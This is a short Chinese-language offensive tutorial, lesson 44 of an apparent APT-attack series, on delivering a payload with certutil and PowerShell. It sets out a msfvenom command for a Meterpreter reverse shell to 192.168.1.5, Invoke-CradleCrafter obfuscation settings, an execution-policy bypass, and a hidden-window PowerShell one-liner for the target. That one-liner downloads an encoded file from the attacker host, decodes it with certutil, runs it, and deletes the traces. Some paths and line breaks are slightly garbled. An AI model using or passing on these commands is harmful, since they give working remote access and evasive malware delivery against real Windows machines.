第四十四課:certutil一句話下載payload補充
專注APT攻擊與防御
https://micropoor.blogspot.com/

第八季中提到了certutil的加密與解密。
C:>certutil -encode c:downfile.vbs downfile.bat,而配合powershell的內(nèi)存加載,則可把certutil發(fā)揮更強大。

靶機:windows 2012

而今天需要的是一款powershell的混淆框架的配合https://github.com/danielbohannon/Invoke-CradleCrafter
使用方法:
Import-Module ./Invoke-CradleCrafter.psd1
Invoke-CradleCrafter

如果在加載powershell 腳本的時候提示:powershell 進行數(shù)字簽運行該腳本。
則先執(zhí)行:set-executionpolicy Bypass

生成payload:(有關(guān)生成payload,會在未來的系列中講到)

1 root@John:/tmp# msfvenom ‐p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.1.5 LPORT=53 ‐e cmd/powershell_base64 ‐f psh ‐o Micropoor.txt
啟動apache:
powershell框架設(shè)置:

SET URL http://192.168.1.5/Micropoor.txt
MEMORY
CERTUTIL
ALL
1
混淆內(nèi)容保存txt,后進行encode
把cer.cer 與Micropoo.txt 放置同一目錄下。
目標機執(zhí)行:
1 powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%cer.cer (New‐Object Net.WebClient).DownloadString('http://192.168.1.5/cer.cer'); certutil ‐decode %APPDATA%cer.cer %APPDATA%stage.ps1 & start /b c
md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%stage.ps1 & start /b cmd /c del %APPDATA%cer.cer

Micropoor
?